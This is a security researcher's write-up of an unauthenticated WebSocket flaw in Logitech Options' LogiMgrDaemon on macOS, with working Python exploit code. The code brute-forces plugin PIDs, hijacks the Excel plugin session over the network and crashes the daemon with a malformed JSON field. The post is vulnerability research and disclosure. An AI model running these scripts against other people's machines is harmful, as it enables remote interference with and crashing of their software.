Some time ago, I bought Logitech MX Master wireless mouse to be used with my macs. And here, the story begins… Since this mouse has extra buttons I wanted to assign them my custom actions. As I read in Logitech docs I had to download driver called “Logitech Options”. So I did!

Kudos section

First of all, I wanted to thank @Disconnect3d for helping me with the reversing part. The second Kudos belongs to @Taviso who discovered similar issue on Windows simultaneously and reported it to the Logitech team. BTW - it’s the second time when some1 from P0 team finds the same issue in almost the same time. It’s probably a good time to stop using Google Chrome, lol.

The Security-oriented brain

But what every IT Sec guy/gal would do when they have to install external software, especially when running with root privileges? Yeah, analyze it. I always use Objective-See’s TaskExplorer to do the basic analysis.

Dissection

This soft runs LogiMgrDaemon on your machine. Let’s see what it does. Surprisingly it listens on 10134 port on ALL interfaces! (Probably on Windows it was listening only on 127.0.0.1 since Tavis reported only that interface).

Let’s try to connect to that port. Maybe netcat and some random bytes? It didn’t work. So maybe HTTP? Curl with the verbose option should be fine.

Sztajger:~ wojciechregula$ curl http://127.0.0.1:10134 -v
* Rebuilt URL to: http://127.0.0.1:10134/
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 10134 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:10134
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 426 Upgrade Required
< Server: WebSocket++/0.7.0
Sztajger:~ wojciechregula$
<
* Closing connection 0

Okay, “426 Upgrade Required” and “Server: WebSocket++/0.7.0”. So the driver runs a WebSocket server! Disassembling the LogiMgrDaemon showed that this WebSocket Server is not used to connect with my mouse but with Logitech Craft Keyboard (that I didn’t have at this moment - however, 10134 port is open anyway!).

Playing with Logitech Craft Keyboard

To play with this server, I decided to buy the keyboard. After spending part of my research budget in SecuRing, a brand-new vulnerable keyboard arrived!

Can you see that button in the left corner? That little creature communicates via WebSockets. Below high-level architecture from Logitech:

It turned out that you can write a custom plugin for any app that will be partially controlled by our “Crown”. Full description can be found here.

Building demo plugin

In Logitech’s repo, we can find a demo plugin. This is how it looks like:

Let’s look into the code. When we press the “Connect” button, the following method is called:

-(void)webSocketDidOpen:(SRWebSocket *)socket {
    [self.delegate handleCraftEvent:@"websocket is connected"];
    
    self.isConnected = YES;
    
    if (self.uuid == nil) {
        NSString *uid = [[NSUUID UUID] UUIDString];  // SDK assigned uuid
        self.uuid = uid;
        self.manifestPath = @"";
    }
    int pid = [[NSProcessInfo processInfo] processIdentifier];
    NSDictionary *registerJson = @{
                   @"message_type": @"register",
                   @"plugin_guid": self.uuid,
                   @"PID": @(pid),
                   @"execName": self.executableName,
                   @"manifestPath": self.manifestPath,
                   @"application_version":@"1.0"
        };
    
    NSLog(@"%@", @(pid));
    
    NSError *err = nil;
    NSData *jsonData = [NSJSONSerialization dataWithJSONObject:registerJson options:NSJSONWritingPrettyPrinted error:&err];
    
    if (err == nil) {
        [socket send:jsonData];
    }
}

As you can see, connecting to the plugin requires:

Connecting to the demo plugin

I created a simple Python script to connect to the demo plugin (full code in the end of this post). And it worked!

If the “enable” == True from the WebSocket response, the plugin manager will allow us to control the process.

Default plugins

Logitech Craft comes with some default plugins:

Excel POC

For POC purposes, I created an exploit that connects to Excel plugin via Wi-Fi interface and catches all the crown actions (look at the console output).

Other problem

No type checking. As Tavis also discovered on Windows - the driver doesn’t check the types of properties in incoming JSONs. The MacOS version behaves the same.

Using the following code, you can crash your colleague’s driver (since it listens on ALL interfaces)

import websocket
import json

req_msg = json.dumps({
    "message_type": "tool_update",
    "session_id": "00cd8431-8e8b-a7e0-8122-9aaf4d7c2a9b",
    "tool_id": "hello",
    "tool_options": "A"*100
})
ws = websocket.create_connection("ws://192.168.0.14:10134")
ws.send(req_msg.encode('utf8'))

lldb output:

(lldb)
Process 387 stopped
* thread #4, stop reason = EXC_BAD_ACCESS (code=1, address=0x41414141414f)
    frame #0: 0x0000000107476df0 LogiMgrDaemon`rapidjson::GenericValue<rapidjson::UTF8<char>, rapidjson::MemoryPoolAllocator<rapidjson::CrtAllocator> >::HasMember(char const*) const + 160
LogiMgrDaemon`rapidjson::GenericValue<rapidjson::UTF8<char>, rapidjson::MemoryPoolAllocator<rapidjson::CrtAllocator> >::HasMember:
->  0x107476df0 <+160>: mov    ax, word ptr [rbx + 0xe]
    0x107476df4 <+164>: and    ax, si
    0x107476df7 <+167>: jne    0x107476e00               ; <+176>
    0x107476df9 <+169>: mov    ecx, dword ptr [rbx]
Target 0: (LogiMgrDaemon) stopped.

Status

Code dump

import websocket
import json
import threading


class Exploit:

    def __init__(self, ip, pid):
        self.url = "ws://" + ip + ":10134"
        self.pid = pid
        self.uid = "a25c7181-e5c1-4733-ad11-06201099f2d2"  # UID of Excel plugin
        self.session_id = None

    def connect(self):
        ws = websocket.WebSocketApp(self.url,
                                    on_open=self.on_open,
                                    on_message=self.on_message,
                                    on_close=self.on_close)
        wst = threading.Thread(target=ws.run_forever)
        wst.daemon = False
        wst.start()

    def on_open(self, ws):
        connect_message = {

            "message_type": "register",
            "plugin_guid": self.uid,
            "PID": self.pid,
            "execName": "Microsoft Excel",
            "manifestPath": "/Library/Application Support/Logitech.localized/Logitech Options.localized/Plugins/" + self.uid,
            "application_version": "2015.0.1"
        }
        req_msg = json.dumps(connect_message)
        ws.send(req_msg.encode('utf8'))

        print("\033[93mConnected with PID => " + str(self.pid) + "\033[0m")

    def on_message(self, ws, message):

        msg = json.loads(message)
        print("\033[94mReceived " + str(msg) + "\033[0m")

        if msg["message_type"] == "register_ack":
            self.session_id = msg["session_id"]
            message = {
                "session_id": self.session_id,
                "tool_id": "nothing",
                "message_type": "tool_change",
                "reset_options": "false",
            }

        elif msg["message_type"] == "activate_plugin":
            message = {}  # Improve the exploit here

        else:
            message = {}

        req_msg = json.dumps(message)
        print(req_msg)
        ws.send(req_msg.encode('utf8'))

    def on_close(self, ws):
        print("\033[91mConnection closed\033[0m")


class PIDBruteforcer:
    def __init__(self, ip="127.0.0.1", min_pid=0, max_pid=99999):

        uid = "a25c7181-e5c1-4733-ad11-06201099f2d2"
        url = "ws://" + ip + ":10134"

        # PID_MAX is 99999 in https://opensource.apple.com/source/xnu/xnu-1699.24.23/bsd/sys/proc_internal.h
        if max_pid > 99999 or min_pid < 0:
            print("\033[91mWrong PID\033[0m")
            exit(-2)

        for pid in range(min_pid, max_pid+1):

            connect_message = {
                "message_type": "register",
                "plugin_guid": uid,
                "PID": pid,
                "execName": "doesntmatter",
                "manifestPath": "~/Library/Application Support/Logitech/Logitech Options/Plugins/" + uid,
                "application_version": "2015.0.1"
            }
            req_msg = json.dumps(connect_message)

            ws = websocket.create_connection(url)
            ws.send(req_msg.encode('utf8'))

            result = ws.recv_frame().data[2:].decode('utf8')  # because simple recv() was buggy
            ws.close()

            if 'register_ack' in result:
                if '"enable":true' in result:
                    print("\033[93mPID enabled to control found! => " + str(pid) + "\033[0m")
                else:
                    print("PID present => " + str(pid))

        else:
            print("\033[91mPID not found ;-(\033[0m")
            exit(-1)


if __name__ == '__main__':
    # PIDBruteforcer()
    exploit = Exploit("192.168.0.14", 1982)
    exploit.connect()